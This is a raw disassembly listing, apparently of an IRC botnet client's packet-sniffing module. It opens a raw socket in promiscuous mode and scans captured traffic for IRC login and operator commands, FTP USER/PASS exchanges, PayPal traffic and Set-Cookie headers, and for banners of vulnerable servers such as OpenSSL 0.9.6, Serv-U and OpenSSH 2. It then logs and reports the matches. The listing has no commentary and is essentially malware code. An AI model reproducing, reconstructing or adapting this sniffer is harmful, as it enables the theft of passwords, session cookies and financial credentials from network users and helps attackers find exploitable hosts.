dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h
dd 0FFFFF784h, 0FF535053h, 4CB60C15h, 0FC08500h, 2398Eh
dd 0D7D8A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h
dd 0FFFF3085h, 8068FFh, 56500000h, 0B5FC15FFh, 75FF004Ch
dd 0F84589C8h, 0B6B015FFh, 8D50004Ch, 0E850B045h, 9EAEh
dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h
dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
dd 0FF5650FFh, 4CB68815h, 0B0458D00h, 88858D50h, 68FFFFF8h
dd 434D54h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h
dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh
dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch
dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
dd 15FF5650h, 4CB688h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
dd 3468FFFFh, 5000434Dh, 9D21E8h, 0CC48300h, 0FF289D39h
dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CE12C05h, 16EB5900h
dd 8DF475FFh, 5350C445h, 2868096Ah, 5600434Dh, 0B68815FFh
dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB6BC15h
dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 82E89053h, 680246EDh
dd 3E8h, 0E960E890h, 0E8570240h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp-10h]
push esi
push eax
nop
call near ptr 293012Ah
lea eax, [ebp-114h]
push 104h
push eax
call near ptr 2820000h
nop
lea eax, [ebp-114h]
push offset asc_435514 ; "\\"
push eax
call sub_41BEC0
lea eax, [ebp-114h]
push offset dword_429114
push eax
call sub_41BEC0
lea eax, [ebp-114h]
push offset aAb ; "ab"
push eax
call sub_41B4C2
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_411C7A
push 1
pop eax
jmp short loc_411CF1
; ---------------------------------------------------------------------------
loc_411C7A: ; CODE XREF: ___:00411C73j
movzx eax, word ptr [ebp-4]
push dword ptr [ebp+8]
push eax
movzx eax, word ptr [ebp-6]
push eax
movzx eax, word ptr [ebp-8]
push eax
movzx eax, word ptr [ebp-10h]
push eax
movzx eax, word ptr [ebp-0Ah]
push eax
movzx eax, word ptr [ebp-0Eh]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_41BE06
push esi
call sub_41B05B
add esp, 28h
cmp dword ptr [ebp+98h], 0
jnz short loc_411CEF
push dword ptr [ebp+8]
lea eax, [ebp-314h]
push offset dword_4354E4
push 200h
push eax
call sub_41B980
push 0
lea eax, [ebp-314h]
push dword ptr [ebp+94h]
push eax
lea eax, [ebp+14h]
push eax
push dword ptr [ebp+0Ch]
call sub_409A72
add esp, 24h
loc_411CEF: ; CODE XREF: ___:00411CB6j
xor eax, eax
loc_411CF1: ; CODE XREF: ___:00411C78j
pop esi
leave
retn
; ---------------------------------------------------------------------------
dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h
; DATA XREF: sub_401ACD+4508o
dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
dd 0B5A815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0B5C015FFh
dd 0BB004Ch, 6A000002h, 0E810E808h, 0FF900240h, 4CB5A815h
dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0B5C015FFh
dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh
dd 435544h, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh
dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h
dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
dd 4D7C0845h, 106A0043h, 0B4F815FFh, 0BF0F004Ch, 8458BF0h
dd 57FC788Bh, 0B5F015FFh, 0C4F6004Ch, 6A7B7480h, 0F815FF14h
dd 66004CB4h, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
dd 0F815FF14h, 66004CB4h, 1E74C085h, 2E7DF685h, 7E40FF83h
dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh
dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h
dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h
dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CB5A815h, 0B84D8D00h
dd 50513C6Ah, 0B5C015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h
dd 552C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CB5A8h, 6AB84D8Dh
dd 0FF50513Ch, 4CB5C015h, 0B8458D00h, 24858D50h, 50FFFFFDh
dd 43551868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h
dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh
dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
dd 7D811408h, 4354AC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 0E8006A59h
dd 246E9A9h
db 90h
byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao
dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h
dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch
dd 560002E4h, 0B62415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
dd 0FF8BE2E8h, 0FF5059FFh, 4CB66415h, 36A5600h, 4589026Ah
dd 0A415FFE8h, 8B004CB6h, 0FFFF83F8h, 75FC7D89h, 0B815FF5Dh
dd 50004CB5h, 0FD4C858Dh, 0B468FFFFh, 5000435Eh, 9821E8h
dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh
dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
dd 565959FFh, 0E8D3E890h, 458B0246h, 69106AD0h, 234C0h
dd 6CB88900h, 8D0043E5h, 5750E445h, 0B65015FFh, 0F883004Ch
dd 0FF6475FFh, 4CB5B815h, 858D5000h, 0FFFFFD4Ch, 435E8868h
dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh
dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh
dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
dd 0BC15FF57h, 0FF004CB6h, 0EBE8D075h, 59FFFF92h, 0E84FE856h
dd 56900246h, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
dd 4CB5D015h, 0FFF88300h, 15FF6475h, 4CB5B8h, 4C858D50h
dd 68FFFFFDh, 435E58h, 9720E850h, 0C4830000h, 0D875390Ch
dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
dd 3012E850h, 57590000h, 0B6BC15FFh, 75FF004Ch, 9268E8D0h
dd 5659FFFFh, 0E7CBE890h, 0BB530246h, 435570h, 0FFFFBFh
dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h
dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB63Ch, 0FFFF883h
dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h
dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 4C68FFFEh
dd 5000435Eh, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
dd 5E3C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
dd 0B55415FFh, 0B70F004Ch, 75FF50C0h, 0B015FFF4h, 50004CB6h
dd 8B7F048Dh, 5584C504h, 34FF0043h, 43556085h, 4C858D00h
dd 68FFFFFDh, 435E08h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h
dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 0B815FFFFh, 50004CB5h
dd 435DDC68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB6BC15h
dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 46E62CE8h
db 2
; =============== S U B R O U T I N E =======================================
sub_412351 proc near ; CODE XREF: sub_412660+213p
; sub_412660+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4CE390, eax
mov eax, offset dword_4CE390
retn
sub_412351 endp
; =============== S U B R O U T I N E =======================================
sub_412360 proc near ; CODE XREF: sub_412660+2BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41237A
loc_412376: ; CODE XREF: sub_412360+29j
; sub_412360+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41237A: ; CODE XREF: sub_412360+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412376
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412376
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412376
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4123C2
loc_4123BE: ; CODE XREF: sub_412360+71j
; sub_412360+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4123C2: ; CODE XREF: sub_412360+5Cj
push offset a302_0 ; "302 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a366 ; "366 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a_login_0 ; ":.login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset aLogin_1 ; ":!login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset aLogin_0 ; ":!Login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a_login ; ":.Login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a_ident ; ":.ident"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset aIdent_0 ; ":!ident"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz loc_4123BE
push offset a_hashin ; ":.hashin"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz loc_4123BE
push offset aHashin ; ":!hashin"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412360 endp
; =============== S U B R O U T I N E =======================================
sub_412477 proc near ; CODE XREF: sub_412660+2F8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412491
loc_41248D: ; CODE XREF: sub_412477+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412491: ; CODE XREF: sub_412477+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41248D
push offset aOper_0 ; "OPER "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4124B7
loc_4124B3: ; CODE XREF: sub_412477+4Fj
; sub_412477+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4124B7: ; CODE XREF: sub_412477+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4124B3
push offset aOper ; "oper "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4124B3
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412477 endp
; =============== S U B R O U T I N E =======================================
sub_4124ED proc near ; CODE XREF: sub_412660+32Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412507
loc_412503: ; CODE XREF: sub_4124ED+29j
; sub_4124ED+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412507: ; CODE XREF: sub_4124ED+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412503
push offset aNick_1 ; "NICK "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412503
push offset a220 ; "220 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41253E
loc_41253A: ; CODE XREF: sub_4124ED+60j
; sub_4124ED+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41253E: ; CODE XREF: sub_4124ED+4Bj
push offset a230 ; "230 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41253A
push offset aUser_3 ; "USER "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41253A
push offset aPass_1 ; "PASS "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4124ED endp
; =============== S U B R O U T I N E =======================================
sub_412574 proc near ; CODE XREF: sub_412660+35Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41258E
loc_41258A: ; CODE XREF: sub_412574+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41258E: ; CODE XREF: sub_412574+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41258A
push offset aPaypal ; "paypal"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4125B4
loc_4125B0: ; CODE XREF: sub_412574+4Fj
; sub_412574+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4125B4: ; CODE XREF: sub_412574+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B0
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B0
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B0
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412574 endp
; =============== S U B R O U T I N E =======================================
sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412615
loc_412611: ; CODE XREF: sub_4125FB+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412615: ; CODE XREF: sub_4125FB+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412611
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41263B
loc_412637: ; CODE XREF: sub_4125FB+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41263B: ; CODE XREF: sub_4125FB+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412637
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4125FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412660 proc near ; DATA XREF: sub_401ACD+427Co
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41BB20
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CB638
lea eax, [ebp+var_3B8]
push eax
call dword_4CB6A8
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call sub_41C310
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CB6A4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_412706
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_412706: ; CODE XREF: sub_412660+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CB650
cmp eax, 0FFFFFFFFh
jnz short loc_41277C
call dword_4CB5B8
push eax
lea eax, [ebp+var_2B8]
push offset unk_436188
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_412758
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A72
add esp, 14h
loc_412758: ; CODE XREF: sub_412660+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_4151AC
pop ecx
push edi
call dword_4CB6BC
push [ebp+var_34]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 288097Dh
loc_41277C: ; CODE XREF: sub_412660+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CB5D0
cmp eax, 0FFFFFFFFh
jnz short loc_412802
call dword_4CB5B8
push eax
lea eax, [ebp+var_2B8]
push offset unk_436158
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4127DE
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A72
add esp, 14h
loc_4127DE: ; CODE XREF: sub_412660+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_4151AC
pop ecx
push edi
call dword_4CB6BC
push [ebp+var_34]
call sub_40B412
pop ecx
push ebx
call near ptr 288097Dh
nop
loc_412802: ; CODE XREF: sub_412660+13Cj
mov esi, 200h
loc_412807: ; CODE XREF: sub_412660+1D6j
; sub_412660+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CB63C
cmp [ebp+var_113AF], 6
jnz short loc_412807
push [ebp+var_113A4]
mov edi, dword_4271E4
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_412807
cmp [ebp+arg_0], 19h
jz short loc_412807
cmp edi, 6Eh
jz short loc_412807
cmp edi, 19h
jz short loc_412807
push [ebp+var_113AC]
call sub_412351
pop ecx
push dword ptr [eax]
nop
call near ptr 71AB401Ch
push eax
lea eax, [ebp+var_13B8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
push [ebp+var_113A8]
call sub_412351
add esp, 10h
push dword ptr [eax]
call near ptr 71AB401Ch
nop
push eax
lea eax, [ebp+var_BB8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
lea eax, [ebp+var_1138C]
mov [ebp+var_4], ebx
push eax
call sub_41AFE0
add esp, 10h
test eax, eax
jle short loc_412905
loc_4128D1: ; CODE XREF: sub_412660+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+var_1138C], 0Dh
lea eax, [ebp+eax+var_1138C]
jnz short loc_4128E8
mov byte ptr [eax], 20h
loc_4128E8: ; CODE XREF: sub_412660+283j
cmp byte ptr [eax], 0Ah
jnz short loc_4128F0
mov byte ptr [eax], 20h
loc_4128F0: ; CODE XREF: sub_412660+28Bj
inc [ebp+var_4]
lea eax, [ebp+var_1138C]
push eax
call sub_41AFE0
cmp [ebp+var_4], eax
pop ecx
jl short loc_4128D1
loc_412905: ; CODE XREF: sub_412660+26Fj
cmp [ebp+arg_0], 50h
jz loc_4129B8
cmp edi, 50h
jz loc_4129B8
lea eax, [ebp+var_1138C]
push eax
call sub_412360
test al, al
pop ecx
jz short loc_41294C
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_436124
jmp loc_4129E7
; ---------------------------------------------------------------------------
loc_41294C: ; CODE XREF: sub_412660+2C7j
cmp edi, 50h
jz short loc_4129B8
lea eax, [ebp+var_1138C]
push eax
call sub_412477
test al, al
pop ecx
jz short loc_412982
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4360F0
jmp short loc_4129E7
; ---------------------------------------------------------------------------
loc_412982: ; CODE XREF: sub_412660+300j
cmp edi, 50h
jz short loc_4129B8
lea eax, [ebp+var_1138C]
push eax
call sub_4124ED
test al, al
pop ecx
jz short loc_4129B8
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4360BC
jmp short loc_4129E7
; ---------------------------------------------------------------------------
loc_4129B8: ; CODE XREF: sub_412660+2A9j
; sub_412660+2B2j ...
lea eax, [ebp+var_1138C]
push eax
call sub_412574
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_412A25
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset unk_436084
loc_4129E7: ; CODE XREF: sub_412660+2E7j
; sub_412660+320j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41B980
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_412807
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A72
add esp, 14h
jmp loc_412807
; ---------------------------------------------------------------------------
loc_412A25: ; CODE XREF: sub_412660+36Ej
call sub_4125FB
test al, al
pop ecx
jz loc_412807
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_43604C
jmp short loc_4129E7
sub_412660 endp
; ---------------------------------------------------------------------------
byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o
dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh
dd 0A5F3FFFFh, 29080C7h, 10000h, 0D3E80000h, 900241E3h
dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh
dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
dd 8D5014C4h, 0FFFB6C85h, 61B468FFh, 0E8500043h, 8DCAh
dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
dd 0FF8915E8h, 565959FFh, 46DE78E8h, 5E5F9002h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B08 proc near ; CODE XREF: ___:00412E7Fp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
